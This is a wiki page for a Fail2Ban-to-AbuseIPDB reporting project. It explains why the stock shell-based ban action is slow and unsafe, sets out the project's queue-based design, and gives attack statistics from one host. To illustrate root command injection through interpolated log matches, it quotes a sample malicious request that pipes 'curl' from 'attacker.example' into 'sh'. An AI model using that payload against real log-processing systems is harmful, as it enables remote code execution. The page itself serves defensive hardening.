Skip to content

01 Why This Exists

Mikhail Deynekin edited this page Oct 20, 2026 · 1 revision

Why This Exists

The stock AbuseIPDB + Fail2Ban recipe is a shell command inside the ban action. It works until production traffic arrives. This page describes what breaks, with numbers from a real host, and the design rules that follow.


The stock recipe

The official integration looks like this:

actionban = lgm=$(printf '%%.1000s\n...' "<matches>"); \
            curl -sSf "https://api.abuseipdb.com/api/v2/report" \
              -H "Accept: application/json" -H "Key: <abuseipdb_apikey>" \
              --data-urlencode "comment=$lgm" \
              --data-urlencode "ip=<ip>" \
              --data "categories=<abuseipdb_category>"

Three systems are now coupled to one event:

  1. fail2ban decides that an IP must be banned;
  2. the firewall applies the ban;
  3. a remote HTTP API is called synchronously by a root shell process.

If step 3 is slow, steps 1–2 pay for it. If step 3 fails, the action fails. Fail2Ban treats a failing action as an error, and the operator gets log noise or missing bans while the API is unreachable.

What actually goes wrong

Reality Stock action Consequence
AbuseIPDB is slow or returns 5xx curl runs inside actionban the ban action blocks/fails; repeated failures pollute fail2ban.log
Same IP is banned again within 15 minutes a second report is attempted HTTP 429 in the ban path — again, a failing action
fail2ban restarts with a persistent DB restored bans are pushed through the action again duplicate reports, more 429s, wasted quota
A scanner burst bans dozens of IPs in a minute one HTTP call per ban, sequentially API latency accumulates in the ban path; the kernel ban is delayed by the last call
Daily API quota (1000 on the free plan) is exhausted every subsequent ban reports 429 every ban action is now "failing"
The matched log line contains a URL <matches> is interpolated into a shell command command injection in a root context; see below
You want to know what was reported no local journal you have to guess from API quotas and logs

The injection surface, concretely

Fail2Ban stores the log line that matched a filter. For web filters that line contains the request target — text chosen by the attacker:

198.51.100.7 - - [..] "GET /?x=$(curl -s http://attacker.example/p | sh) HTTP/1.1" 404 ...

With <matches> placed into actionban and executed by a shell, this is not a hypothetical bug: it is remote code execution as root, gated only by whether the filter matches and the ban fires. The stock action even wraps the value in printf — shell evaluation happens before printf runs.

The current abuseipdb.conf shipped by Fail2Ban attempts no escaping; this is a known weakness of the pattern, not of Fail2Ban itself.

What this project changes

Four rules drive the design:

  1. The ban path never talks to the network. The extra action writes one row into a local SQLite queue (measured: ~0.1 s) and returns. The firewall ban is applied by the ordinary action before/independently of it.
  2. Reports are built from fail2ban's own evidence. Fail2Ban stores the matched log lines in its database (bips.data, field matches). The worker reads them read-only; no log scraping, no shell, no interpolation. Only <ip>, <name>, <bantime> and <failures> are passed to the queue helper — all values generated by fail2ban itself.
  3. Rate limits are respected by design. One report per IP per 20 minutes, 900 reports/day, 25 per run. A 429 is a normal state: the event stays queued and is retried later.
  4. The key is not part of the configuration. It lives in /etc/abuseipdb/.abuseipdb.key (mode 600), is excluded from git and from release archives, and is preserved by re-installs and self-updates.

What was measured on one production host

A public web host (25 sites, Python 3, fail2ban 1.1.0) over ~3.5 days:

Signal Volume Notes
SSH Failed password / Invalid user 8,070 / 3,581 events from 507 unique IPs top source: 261 attempts from one IP
Web requests matching attack signatures 42,756 of 96,245 requests (44%) /.env, /.git, /.ssh, traversal, WordPress, Grafana/Langflow probes
Primary script unknown PHP shell probes 6,176 non-existent .php names
SMTP AUTH failures 6,750 in one day dominated by one IP (855)
FTP failed logins 3,995 in one day two IPs (3,720 + 273)
Result after queueing 12 reports/day, queue empty, no errors ban path unaffected
Honesty corner — what these numbers are and are not
  • They describe one busy host; your mileage will differ with exposure and traffic.
  • "Attack signature" counts include 200/301 responses from catch-all sites — the request is malicious, the response is irrelevant.
  • AbuseIPDB reports per day are capped by our own budget (900) and by the number of unique IPs that actually get banned; most scanner IPs never reach maxretry.
  • The queue is not a SIEM: it stores bans, not raw traffic.

Non-goals

  • Not a firewall. The project does not change how fail2ban bans; it adds one queue action.
  • Not an IDS. It does not decide who is abusive; fail2ban filters do.
  • Not automatic blocking based on AbuseIPDB scores. No score-driven firewall changes — a compromised third-party database must never be able to lock out your users.
  • Not a background auto-updater. abuseipdb-upgrade --upgrade is explicit; the optional timer only checks availability.
  • Not a log archive. Queue retention is configurable and defaults to 30 days; it stores ban metadata, not request bodies or mail.

When not to use it

  • Reporting abuse is not allowed by your policy or your provider.
  • You have no public server and no abuse traffic (nothing to report).
  • You want one-shot reporting from a laptop: the stock action is simpler; this project is built for long-running hosts with sustained attack noise.

Next: Getting Started · Architecture · Fail2Ban Fundamentals

Clone this wiki locally